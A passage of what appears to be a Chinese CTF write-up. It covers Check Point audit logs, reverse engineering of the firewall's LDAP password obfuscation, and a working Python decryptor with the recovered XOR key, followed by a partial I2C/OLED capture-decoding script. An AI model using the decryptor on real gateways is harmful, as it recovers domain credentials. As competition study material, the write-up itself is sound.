19:28:03 5 N/A 2 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Create Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: 93f486c4-54bb-474e-9158-b2896ff2ec2b; ObjectType: Web Application; ObjectName: World_Clock; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Add link in the portal to application: 'Enable'(+)Application directory: '/clockApplication'(+)Application host: 'Host_127.0.0.1'(+)Application service: 'http', 'https'(+)Comments: 'Object created automatically by Mobile Access wizard.'(+)Name: 'World_Clock'(+)Any directory: 'Disable'(+)LinkDisplayName: 'World Clock'(+)LinkUrl: 'http://127.0.0.1/clockApplication/clock_application'(+); Advanced Changes: (+); Logic Changes: AnyDirectory: 'Disable'(+)Comments: 'Object created automatically by Mobile Access wizard.'(+)Directories: '/clockApplication'(+)Hosts: 'f6c59575-17af-4c5b-ba55-6bce5d95bb07'(+)LinkDisplayName: 'World Clock'(+)LinkUrl: 'http://127.0.0.1/clockApplication/clock_application'(+)Name: 'World_Clock'(+)Services: '97aeb3d4-9aea-11d5-bd16-0090272ccb30', '97aeb443-9aea-11d5-bd16-0090272ccb30'(+)UseApplicationLink: 'Enable'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 3 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Create Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: d19a3705-5366-4f3b-b4f4-d10961a1444d; ObjectType: Host; ObjectName: Host_192.168.1.4; Ip Address: 192.168.1.4; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Comments: 'Object created automatically by wizard.'(+)IP Address: '192.168.1.4'(+)Name: 'Host_192.168.1.4'(+); Advanced Changes: (+); Logic Changes: Comments: 'Object created automatically by wizard.'(+)Ipaddr: '192.168.1.4'(+)Name: 'Host_192.168.1.4'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 4 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Create Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: d476edd2-b746-4730-a3f7-d1883510ae73; ObjectType: LdapAccountUnit; ObjectName: qiangwangbei.com__AD; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Name: 'qiangwangbei.com__AD'(+)The AD domain name: 'qiangwangbei.com'(+)This account unit is used for AD query: 'Disable'(+)Branches: 'DC=qiangwangbei,DC=com'(+)EditableServer: '{9FC235E4-38B0-4106-AE46-6E00C5BC61E2}'(+)Impersonate LDAP V3 to support unicode: 'Enable'(+)LdapPolicy: 'Microsoft_AD'(+)LdapUsage: 'USER,CRL'(+)LoginDn: 'CN=qwb1 qwb1. qwb1,DC=qiangwangbei,DC=com'(+)Port: '389'(+)Priority: '5'(+)Server: 'Host_192.168.1.4'(+)Username: 'qwb1'(+); Advanced Changes: (+); Logic Changes: Branches: 'DC=qiangwangbei,DC=com'(+)DomainName: 'qiangwangbei.com'(+)EditableServer: '{9FC235E4-38B0-4106-AE46-6E00C5BC61E2}'(+)LdapPolicy: 'adf4f16a-1a82-46e9-bd74-60adac5f6963'(+)LdapServers[{9fc235e4-38b0-4106-ae46-6e00c5bc61e2}].ldapSslSettings: '95e7955e-5269-4894-becb-a903816addab'(+)LdapServers[{9fc235e4-38b0-4106-ae46-6e00c5bc61e2}].ldapSslSettings.port: '389'(+)LdapServers[{9fc235e4-38b0-4106-ae46-6e00c5bc61e2}].loginDn: 'CN=qwb1 qwb1. qwb1,DC=qiangwangbei,DC=com'(+)LdapServers[{9fc235e4-38b0-4106-ae46-6e00c5bc61e2}].priority: '5'(+)LdapServers[{9fc235e4-38b0-4106-ae46-6e00c5bc61e2}].server: 'd19a3705-5366-4f3b-b4f4-d10961a1444d'(+)LdapServers[{9fc235e4-38b0-4106-ae46-6e00c5bc61e2}].username: 'qwb1'(+)LdapUsage: 'USER,CRL'(+)Name: 'qiangwangbei.com__AD'(+)Supportunicode: 'Enable'(+)UseForAdQuery: 'Disable'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 5 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Create Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: 85e0d2ef-5d72-4525-b447-e873320ce8ba; ObjectType: AdGroup; ObjectName: ad_group_Account_Operators; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Display Name: 'Account Operators'(+)Name: 'ad_group_Account_Operators'(+)Au: 'qiangwangbei.com__AD'(+)Branch: 'DC=qiangwangbei,DC=com'(+)CpmiDisplayName: 'Account Operators'(+)Dn: 'CN=Account Operators,CN=Builtin,DC=qiangwangbei,DC=com'(+)GroupName: 'Members can administer domain user and group accounts'(+)HashedDn: 'A4-CB-28-16-98-97-18-27-FD-FA-BE-00-F6-10-93-4F'(+)LdapGroupname: 'CN=Account Operators'(+)Sid: 'AQIAAAAAAAUgAAAAJAIAAA=='(+)SubtreePrefix: 'CN=Builtin'(+)Tooltiptext: '<B>Domain: QIANGWANGBEI.COM</B>(+)Group Name: Account Operators(+)Full Name/Description: Members can administer domain user and group accounts'(+); Advanced Changes: (+); Logic Changes: Au: 'd476edd2-b746-4730-a3f7-d1883510ae73'(+)Branch: 'DC=qiangwangbei,DC=com'(+)CpmiDisplayName: 'Account Operators'(+)DisplayName: 'Account Operators'(+)Dn: 'CN=Account Operators,CN=Builtin,DC=qiangwangbei,DC=com'(+)GroupName: 'Members can administer domain user and group accounts'(+)HashedDn: 'A4-CB-28-16-98-97-18-27-FD-FA-BE-00-F6-10-93-4F'(+)LdapGroupname: 'CN=Account Operators'(+)Name: 'ad_group_Account_Operators'(+)Sid: 'AQIAAAAAAAUgAAAAJAIAAA=='(+)SubtreePrefix: 'CN=Builtin'(+)Tooltiptext: '<B>Domain: QIANGWANGBEI.COM</B>(+)Group Name: Account Operators(+)Full Name/Description: Members can administer domain user and group accounts'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 6 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Modify Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8; ObjectType: Gateway; ObjectName: gw-qwb; Ip Address: 192.168.1.157; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Always send alerts to: Added 'gw-qwb'(+)Always send logs to: Added 'gw-qwb'(+)Authentication Methods List: Added 'SIGNATURES'(+)Certificate Authority: 'internal_ca'(+)Certificate Status: 'SIGNED'(+)DN: 'CN=gw-qwb VPN Certificate,O=gw-qwb..84din8'(+)Data integrity support list: Added 'MD5,SHA1,SHA256'(+)Direct Certificate Authority: 'internal_ca'(+)Enable Endpoint Connect Client: 'Enable'(+)Encryption Methods List: Added 'DES,D3DES,CAST,AES_MINUS_256'(+)Gateway Certificate: 'defaultCert'(+)Generated by Auto Enrollment: 'Enable'(+)Hardware: Changed from 'Open server' to 'software'(+)IP Addresses Assignment Offer: Changed from 'NEVER' to 'ALWAYS'(+)IP Addresses Pool: 'CP_default_Office_Mode_addresses_pool'(+)IPSec VPN: Changed from 'Disable' to 'Enable'(+)Indicate that SmartEvent Intro Correlation Unit is installed.: Changed from 'Disable' to 'Enable'(+)Public Key Matching Criteria: Changed to 'Any'(+)SmartReporter: Changed from 'Enable' to 'Disable'(+)Support Check Point Secure Client Mobile: 'Enable'(+)TCP Tunneling Active (Visitor Mode): 'Disable'(+)User Logs Servers and Masters Definitions: Changed from 'Disable' to 'Enable'(+)AuthScheme: 'USER_PASS', 'CERTIFICATE'(+)Connectra: Changed from 'Disable' to 'Enable'(+)DisplayString: 'vpn', 'ssl_vpn', 'mobile_realm', 'active_sync_realm', 'mobile_android_bc'(+)InternalPort: '8881', '8882', '444', '8991', '8082'(+)IpAddress: '192.168.1.157', '0.0.0.0'(+)Local GUI portal title: 'Check Point Mobile'(+)MainUrl: 'https://192.168.1.157/sslvpn', 'https://192.168.1.157/SNX', 'https://192.168.1.157/Microsoft-Server-ActiveSync', 'https://192.168.1.157/', 'https://192.168.1.157/_cpmobile', 'https://0.0.0.0/clients', 'https://192.168.1.157/saml-vpn', 'https://192.168.1.157/smartview'(+)PortalAccess: 'ALL_INTERFACES', 'RULE_BASE'(+)PortalName: 'sslvpn', 'SNX', 'ActiveSync', 'SecurePlatform', 'CPMobile', 'clients', 'saml-vpn', 'SmartView'(+)Synchronize the web UI port from the gw installation with SecurePlatform URL: Changed from 'Disable' to 'Enable'(+); Advanced Changes: @PKI Sign Key: 'b0c7dd819e9d8e7e47729087'(+)@pki-host-cert-set: 'Enable'(+)Portal Priority: '1', '10'(+); Logic Changes: AdvancedVoipConfig: 'b98b2a0f-5287-4c1e-a0af-c940ce8874a4'(+)ApplianceType: Changed from 'Open server' to 'software'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].ca: '3c5487ca-e9b7-3f46-8a58-70ab48e009f5'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].directCa: '3c5487ca-e9b7-3f46-8a58-70ab48e009f5'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].dn: 'CN=gw-qwb VPN Certificate,O=gw-qwb..84din8'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].generatedByAutoEnrollment: 'Enable'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].pkisignkey: 'b0c7dd819e9d8e7e47729087'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].poundPkiHostCertSet: 'Enable'(+)Certificates[{1b52b45b-ae9a-4320-ad77-b055e271af9e}].status: 'SIGNED'(+)Connectra: Changed from 'Disable' to 'Enable'(+)ConnectraSettings: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)ConnectraSettings.portalCustomization.portalTcpt.active: 'Disable'(+)ConnectraSettings.portalCustomization.titleOfThePortal: 'Check Point Mobile'(+)FirewallSetting: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)FirewallSetting.ipAssignmentOffer: Changed from 'NEVER' to 'ALWAYS'(+)FirewallSetting.ipAssignmentSettings: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)FirewallSetting.ipAssignmentSettings.omIppool: 'bf4e39f1-3432-48a3-b72b-f905af834c65'(+)FloodgateSetting: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)IdentityAwareBlade: 'f8409e7e-85b7-4dbe-baa9-d4555662d370'(+)Interfaces[{8c9fb927-f20d-4a47-9a79-69aec7d794ae}].security: '8c9fb927-f20d-4a47-9a79-69aec7d794ae'(+)IpsEventCorrelator: Changed from 'Disable' to 'Enable'(+)LogServers.sendAlertsTo: Added 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)LogServers.sendLogsTo: Added 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)Portals[{03af0e8f-7b57-44f4-9c9f-2e7fbc18d5d7}].internalPort: '444'(+)Portals[{03af0e8f-7b57-44f4-9c9f-2e7fbc18d5d7}].ipAddress: '0.0.0.0'(+)Portals[{03af0e8f-7b57-44f4-9c9f-2e7fbc18d5d7}].mainUrl: 'https://0.0.0.0/clients'(+)Portals[{03af0e8f-7b57-44f4-9c9f-2e7fbc18d5d7}].portalAccess: 'ALL_INTERFACES'(+)Portals[{03af0e8f-7b57-44f4-9c9f-2e7fbc18d5d7}].portalName: 'clients'(+)Portals[{2c487abb-e02e-4529-9911-4d55f92c192f}].internalPort: '8991'(+)Portals[{2c487abb-e02e-4529-9911-4d55f92c192f}].ipAddress: '192.168.1.157'(+)Portals[{2c487abb-e02e-4529-9911-4d55f92c192f}].mainUrl: 'https://192.168.1.157/saml-vpn'(+)Portals[{2c487abb-e02e-4529-9911-4d55f92c192f}].portalAccess: 'ALL_INTERFACES'(+)Portals[{2c487abb-e02e-4529-9911-4d55f92c192f}].portalName: 'saml-vpn'(+)Portals[{3191f37f-9af4-424c-bb1c-f1824ff830bc}].internalPort: '8881'(+)Portals[{3191f37f-9af4-424c-bb1c-f1824ff830bc}].ipAddress: '192.168.1.157'(+)Portals[{3191f37f-9af4-424c-bb1c-f1824ff830bc}].mainUrl: 'https://192.168.1.157/sslvpn'(+)Portals[{3191f37f-9af4-424c-bb1c-f1824ff830bc}].portalAccess: 'ALL_INTERFACES'(+)Portals[{3191f37f-9af4-424c-bb1c-f1824ff830bc}].portalName: 'sslvpn'(+)Portals[{3191f37f-9af4-424c-bb1c-f1824ff830bc}].priority: '1'(+)Portals[{78628fc7-35e3-4b85-8c21-a25cb5c35bce}].internalPort: '8881'(+)Portals[{78628fc7-35e3-4b85-8c21-a25cb5c35bce}].ipAddress: '192.168.1.157'(+)Portals[{78628fc7-35e3-4b85-8c21-a25cb5c35bce}].mainUrl: 'https://192.168.1.157/Microsoft-Server-ActiveSync'(+)Portals[{78628fc7-35e3-4b85-8c21-a25cb5c35bce}].portalAccess: 'ALL_INTERFACES'(+)Portals[{78628fc7-35e3-4b85-8c21-a25cb5c35bce}].portalName: 'ActiveSync'(+)Portals[{cc11b740-0ca0-469b-aebd-e35d28cd5c97}].internalPort: '8881'(+)Portals[{cc11b740-0ca0-469b-aebd-e35d28cd5c97}].ipAddress: '192.168.1.157'(+)Portals[{cc11b740-0ca0-469b-aebd-e35d28cd5c97}].mainUrl: 'https://192.168.1.157/SNX'(+)Portals[{cc11b740-0ca0-469b-aebd-e35d28cd5c97}].portalAccess: 'ALL_INTERFACES'(+)Portals[{cc11b740-0ca0-469b-aebd-e35d28cd5c97}].portalName: 'SNX'(+)Portals[{e5cb8aa7-14d3-47d9-88b4-b719da417083}].internalPort: '8882'(+)Portals[{e5cb8aa7-14d3-47d9-88b4-b719da417083}].ipAddress: '192.168.1.157'(+)Portals[{e5cb8aa7-14d3-47d9-88b4-b719da417083}].mainUrl: 'https://192.168.1.157/'(+)Portals[{e5cb8aa7-14d3-47d9-88b4-b719da417083}].portalAccess: 'RULE_BASE'(+)Portals[{e5cb8aa7-14d3-47d9-88b4-b719da417083}].portalName: 'SecurePlatform'(+)Portals[{e5cb8aa7-14d3-47d9-88b4-b719da417083}].priority: '10'(+)Portals[{e6ae8262-a829-472d-bcfc-9ce019be12a0}].internalPort: '8082'(+)Portals[{e6ae8262-a829-472d-bcfc-9ce019be12a0}].ipAddress: '192.168.1.157'(+)Portals[{e6ae8262-a829-472d-bcfc-9ce019be12a0}].mainUrl: 'https://192.168.1.157/smartview'(+)Portals[{e6ae8262-a829-472d-bcfc-9ce019be12a0}].portalAccess: 'ALL_INTERFACES'(+)Portals[{e6ae8262-a829-472d-bcfc-9ce019be12a0}].portalName: 'SmartView'(+)Portals[{fcb5ba01-4ead-4d41-9e4f-b9f14aec8909}].internalPort: '8881'(+)Portals[{fcb5ba01-4ead-4d41-9e4f-b9f14aec8909}].ipAddress: '192.168.1.157'(+)Portals[{fcb5ba01-4ead-4d41-9e4f-b9f14aec8909}].mainUrl: 'https://192.168.1.157/_cpmobile'(+)Portals[{fcb5ba01-4ead-4d41-9e4f-b9f14aec8909}].portalAccess: 'ALL_INTERFACES'(+)Portals[{fcb5ba01-4ead-4d41-9e4f-b9f14aec8909}].portalName: 'CPMobile'(+)RealmsForBlades[{1d10be23-de41-42f6-bfa2-14bcf6690262}].authentication.authSchemes[{499ee73a-2089-4a55-8a66-03b4ea3a15a0}].authScheme: 'USER_PASS'(+)RealmsForBlades[{1d10be23-de41-42f6-bfa2-14bcf6690262}].displayString: 'active_sync_realm'(+)RealmsForBlades[{52a41d3c-03e1-42fc-b276-796b303aa7d5}].authentication.authSchemes[{5ab27b0b-861d-4385-9cf5-301b1f670260}].authScheme: 'USER_PASS'(+)RealmsForBlades[{52a41d3c-03e1-42fc-b276-796b303aa7d5}].authentication.authSchemes[{6c240672-dc03-4299-ab05-5e132aa1eaee}].authScheme: 'CERTIFICATE'(+)RealmsForBlades[{52a41d3c-03e1-42fc-b276-796b303aa7d5}].authentication.authSchemes[{6c240672-dc03-4299-ab05-5e132aa1eaee}].certificateParsingRules: 'be0ed83f-d6f3-4a80-bcc2-5fb3b6667162'(+)RealmsForBlades[{52a41d3c-03e1-42fc-b276-796b303aa7d5}].displayString: 'mobile_android_bc'(+)RealmsForBlades[{616d838b-127a-46e0-b309-90b6572ca3a3}].authentication.authSchemes[{26d2abd7-bf9f-4bd0-a900-25235559b91f}].authScheme: 'USER_PASS'(+)RealmsForBlades[{616d838b-127a-46e0-b309-90b6572ca3a3}].displayString: 'ssl_vpn'(+)RealmsForBlades[{83756efd-847f-4e31-b076-2f367c09a082}].authentication.authSchemes[{26d2abd7-bf9f-4bd0-a900-25235559b91f}].authScheme: 'USER_PASS'(+)RealmsForBlades[{83756efd-847f-4e31-b076-2f367c09a082}].displayString: 'mobile_realm'(+)RealmsForBlades[{e2c4713e-c4a8-4098-a671-800123719968}].displayString: 'vpn'(+)ReportingServer: Changed from 'Enable' to 'Disable'(+)Snmp: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)SyncWebUiPortWithGwFlag: Changed from 'Disable' to 'Enable'(+)UseLoggersAndMasters: Changed from 'Disable' to 'Enable'(+)Vpn: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)Vpn.ike: 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)Vpn.ike.isakmpEncmethods: Added 'DES,D3DES,CAST,AES_MINUS_256'(+)Vpn.ike.isakmpHashmethods: Added 'MD5,SHA1,SHA256'(+)Vpn.isakmpAllowedCert: Changed to 'Any'(+)Vpn.isakmpAuthmethods: Added 'SIGNATURES'(+)Vpn.sslNe: '48332028-5cc8-4b92-ba5b-a807f0bc44b3'(+)Vpn.sslNe.gwCertificate: 'defaultCert'(+)Vpn.sslNe.neoEnable: 'Enable'(+)Vpn.vpnClientsSettingsForGateway: '6bb89803-acb2-4720-a7b6-8c274d039fa2'(+)Vpn.vpnClientsSettingsForGateway.endpointVpnClientSettings: '3b76983f-461d-cd4d-96c2-a1a4730f22c9'(+)Vpn.vpnClientsSettingsForGateway.endpointVpnClientSettings.endpointVpnEnable: 'Enable'(+)Vpn1: Changed from 'Disable' to 'Enable'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 7 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Modify Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: 628a5596-9bc7-4250-8337-b8c9f0046069; ObjectType: SrCommunity; ObjectName: RemoteAccess; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Participant Gateways: Added 'gw-qwb'(+); Advanced Changes: (+); Logic Changes: ParticipantGateways: Added 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 8 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Modify Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: b68be043-4634-4452-b2ae-caf05ca933a8; ObjectType: ConnectraAuthorizationPolicy; ObjectName: connectra_authorization_policy; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Application: Added 'World_Clock'(+)Icon: Changed from 'General/globalsNa' to 'Unknown'(+)Install On: Added 'gw-qwb'(+)User Group: Added 'ad_group_Account_Operators'(+)Comment: 'Rule created automatically by Mobile Access wizard.'(+); Advanced Changes: (+); Logic Changes: ConnectraAuthorizationRules[{e866f25a-60a8-489d-bd77-8fa5b5127309}].applications: Added '93f486c4-54bb-474e-9158-b2896ff2ec2b'(+)ConnectraAuthorizationRules[{e866f25a-60a8-489d-bd77-8fa5b5127309}].comment: 'Rule created automatically by Mobile Access wizard.'(+)ConnectraAuthorizationRules[{e866f25a-60a8-489d-bd77-8fa5b5127309}].installOn: Added 'ab7efd6b-aee6-4d4e-bbf1-c313f6f88aa8'(+)ConnectraAuthorizationRules[{e866f25a-60a8-489d-bd77-8fa5b5127309}].userGroups: Added '85e0d2ef-5d72-4525-b447-e873320ce8ba'(+)Icon: Changed from 'General/globalsNa' to 'Unknown'(+); ProductName: SmartConsole; ProductFamily: Network;
19:28:03 5 N/A 9 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Revision Control; Operation: Publish; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: 8 Objects were changed; ProductName: SmartConsole; ProductFamily: Network;
19:28:51 5 N/A 1 accept 192.168.1.157 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; ObjectName: gw-qwb; ObjectType: firewall_application; ObjectTable: applications; Operation: Install Policy; Uid: {2CF66B80-616F-49C1-A7C1-89EAC7C0C12D}; Administrator: admin; Machine: 192.168.1.25; FieldsChanges: ; session_id: ; Subject: Policy Installation; Audit Status: Success; Additional Info: Access Control Policy : Standard; Operation Number: 7; Customer_Name: ; CMA_Name: ; MDS_Name: ; client_ip: 192.168.1.25; admin_level: ; ProductName: SmartConsole; ProductFamily: Network;
远程搭建sslvpn的时候有开启域,那么口令大概就是域的账号密码
本地路由器同样建一个域,grep搜索qwb1可以搜到文件名。
读取文件:/var/opt/CPsuite-R81.20/fw1/database/servers_objects.C
:ldap_servers (
: (
:ldap_use_cert_auth (false)
:login_password (5d5b4d42424e3e292e174a3c315c4d18793c2142657223174a2062601a3c23275625433375391939702b41)
:username (qwb1)
...
那么问题来了,这是什么甜熔渣加密? 去已经搭建好的本地路由器镜像上查找相关函数
cd /opt
[Expert@gw-f1eb4c:0]# find . -name '*ldap*.so' -exec grep 'login_password' {} \;
Binary file ./CPshrd-R81.20/lib/libcpldapcl.so matches
逆向 libcpldapcl.so SLdapBindParams::Load 得到
ObscuredValue = (const char *)cpLdapFwSetGetObscuredValue(a2, "login_password", 0);
继续追踪 cpLdapFwSetGetObscuredValue
顺路看看这个路由器的windows客户端(搭建本地靶机时sslvpn必须用这个客户端开启,网页版不行):
$ grep -r 'cpLdapFwSetGetObscuredValue'
grep: cpldapcl.dll: binary file matches
grep: cpldapmainutil.dll: binary file matches
显然cpldapmainutil.dll就是libcpldapcl.so的windows版本,所以看另一个cpldapcl.dll
逆向cpLdapFwSetGetObscuredValue得到 obscure_au_pw(byte_1000EB78, 0, v6); 在objlib.dll里
逆向objlib.dll obscure_au_pw 得到一个字符串
"ModifiedFwPropertySheetWithOKTheSheetIDS_LDAP_AU_PROPERTIESNULL0FW_WP_OBJECTS"
github搜索字符串可以搜索得到 https://gist.github.com/rxwx/47cab53bb867e4b631685af62db335e8
把'11TRAC'的检验去掉即可用来解密ldap
import io
import sys
import string
KEY_STR = 'ModifiedFwPropertySheetWithOKTheSheetIDS_LDAP_AU_PROPERTIESNULL0FW_WP_OBJECTS'
def get_byte(x):
c = ord(chr(x).lower())
if ((c - 0x30) & 255) < 10:
retval = c - 0x30
elif ((c + 0x9f) & 255) < 6:
retval = c - 0x57
else:
retval = 0xff
return retval & 0xff
def inner_decode(data):
pair = [0, 0]
dec = 0
i = 0
while i < 2:
if data[i] == 0 or \
chr(data[i]) not in string.hexdigits:
break
c = get_byte(data[i])
pair[i] = c
i += 1
if i == 0:
i = -1
if i == 2:
dec = pair[0] * 0x10 + pair[1]
if i == 1:
dec = pair[0]
return i, dec
def decode(data):
if len(data) % 2:
print ('Unable to decode odd-length string')
return None
inbuf = io.BytesIO(data)
outbuf = b''
while inbuf.tell() != len(data):
ret, dec = inner_decode(inbuf.read(2))
if ret < 0:
return None
outbuf += bytes([dec])
return outbuf[::-1]
def decrypt(enc):
dec = ''
for i, x in enumerate(enc):
k = ord(KEY_STR[i % len(KEY_STR)])
dec += chr(x ^ (k - 0x20))
return dec.encode()
if __name__ == '__main__':
inbuf = b'5d5b4d42424e3e292e174a3c315c4d18793c2142657223174a2062601a3c23275625433375391939702b41'
decoded = decode(inbuf)
if decoded is not None:
decrypted = decrypt(decoded)
print (decrypted.decode())
legacyOLED
sr文件,用下面这个程序看。
暂时无法在飞书文档外展示此内容
根据题目名“legacyOLED”和提供的.sr文件(PulseView逻辑分析仪文件),可能的考点涉及从OLED显示设备的通信协议中提取和解码数据,以找到隐藏的flag。OLED(有机发光二极管)显示通常使用SPI、I2C或UART等协议进行数据传输,在CTF题目中,这些数据可能包含文本或图像形式的flag。
以下是解决此类题目的常见步骤和方法:
### 1. **识别通信协议**
- 使用PulseView打开.sr文件,查看信号通道(通常有多条数字信号线)。
- 常见的OLED协议:
- **SPI**(串行外设接口):查找SCK(时钟)、MOSI(主出从入)、CS(片选)等信号线。SPI是OLED显示最常用的协议。
- **I2C**(Inter-Integrated Circuit):查找SCL(时钟)和SDA(数据)线。
- **UART**(通用异步收发传输器):查找TX(发送)和RX(接收)线,但OLED较少使用UART。
- 在PulseView中,通过菜单栏的“解码器”添加相应的协议解码器(如SPI、I2C),并指定正确的信号通道。
### 2. **解码数据**
- 一旦协议被识别,使用解码器解析信号,提取传输的数据字节。
- 数据可能以十六进制或二进制形式显示。关注连续的数据流,特别是从CS(片选)激活开始的数据段。
- 如果协议是SPI,注意数据字节通常是在SCK的上升沿或下降沿采样(根据模式设置)。
### 3. **解释数据内容**
- **文本数据**:如果传输的是ASCII字符,直接将字节转换为ASCII字符串,可能包含flag。例如,数据可能对应OLED上显示的文本。
- **图像数据**:如果传输的是像素数据,需要重建图像。常见OLED分辨率如128x64像素,每个像素用1位表示(0关,1开)。数据按行或列传输,每个字节代表8个像素。需要将字节数组转换为位图,并使用图像处理工具(如Python的PIL库)显示。
- 例如,数据可能按页(page)或列(column)组织,具体取决于OLED控制器(如SSD1306)。
- **自定义编码**:数据可能经过编码(如Base64、二进制编码),需要进一步解码。
### 4. **寻找flag**
- 检查解码后的文本中是否包含flag格式(如`flag{...}`或CTF常见的其他格式)。
- 如果数据是图像,视觉检查图像是否显示flag文本或二维码等。
- 如果数据量大,可能需要对数据流进行过滤或搜索关键字节。
### 5. **工具和脚本**
- 除了PulseView,可以使用Python脚本处理提取的数据。例如,使用`pyserial`或`bitstring`库解析数据。
- 对于图像重建,示例Python代码:
```python
from PIL import Image
# 假设data是提取的字节列表,宽度128像素,高度64像素
width = 128
height = 64
image = Image.new('1', (width, height))
pixels = []
for byte in data:
bits = bin(byte)[2:].zfill(8)
pixels.extend([int(bit) for bit in bits])
# 调整数据布局(根据OLED数据顺序)
image.putdata(pixels)
image.show()
```
### 示例考点
- **SPI数据流提取**:从MOSI线提取字节序列,直接转换为ASCII。
- **I2C地址与数据**:识别OLED的I2C地址(通常0x3C或0x3D),然后提取数据包。
- **图像像素映射**:数据可能以非标准方式排列(如垂直映射),需要调整才能正确显示。
如果没有实际文件,建议在PulseView中尝试不同协议解码器,并导出数据进行分析。遇到困难时,查看CTF题目的提示或讨论区,可能涉及特定OLED控制器或自定义协议。
最终,flag可能以文本形式隐藏在传输的数据中,或需要通过图像重建才能看到。
就是I2C
懒得分析了,直接文件丢给gpt,让他分析,让他写脚本。
gpt连接:https://chatgpt.com/share/68f3a3aa-6ba4-8006-b057-6268bdd5db08,不确定能不能放问哈,出题人审阅看截图也行。
基于他给的脚本改一下,
#!/usr/bin/env python3
"""
Extract multiple screen images from a Sigrok Saleae logic capture (.sr).
This script reads a ``.sr`` (Sigrok session) file, decodes the raw
logic samples for an I²C bus driving an SSD1306 OLED display, and
reconstructs all frames shown on the display. It can detect multiple
frames by monitoring display update patterns and address resets.
The resulting images are saved in their original orientation.
Usage:
python3 extract_logo.py /path/to/LegacyOLED.sr
If no path is supplied, the script defaults to ``LegacyOLED.sr`` in
the current working directory. If multiple frames are detected, they
are saved as ``output_001.png``, ``output_002.png``, etc. If only
one frame is found, it's saved as ``output.png``.
"""
import sys
import zipfile
from collections import deque
from typing import List, Tuple
import numpy as np # type: ignore
from PIL import Image # type: ignore
def read_logic_data(sr_path: str) -> np.ndarray:
"""Extract raw sample data from a Sigrok ``.sr`` archive.
The ``.sr`` format is a zip archive containing one or more
``logic-X-Y`` files where ``X`` is the device index and ``Y`` is
the file index. For Saleae captures there is usually a single
``logic-1-1`` file containing the captured digital samples. Each
sample is one byte wide with each bit representing a logic channel.
Args:
sr_path: Path to the ``.sr`` archive on disk.
Returns:
A 1‑D numpy array of type ``uint8`` containing the raw
samples.
"""
with zipfile.ZipFile(sr_path, 'r') as zf:
# Attempt to locate the logic capture file. The capture file
# names often follow the pattern ``logic-<device>-<segment>``.
logic_files = [n for n in zf.namelist() if n.startswith('logic-')]
if not logic_files:
raise FileNotFoundError("No logic data found in archive")
# Use the first logic file found.
logic_name = sorted(logic_files)[0]
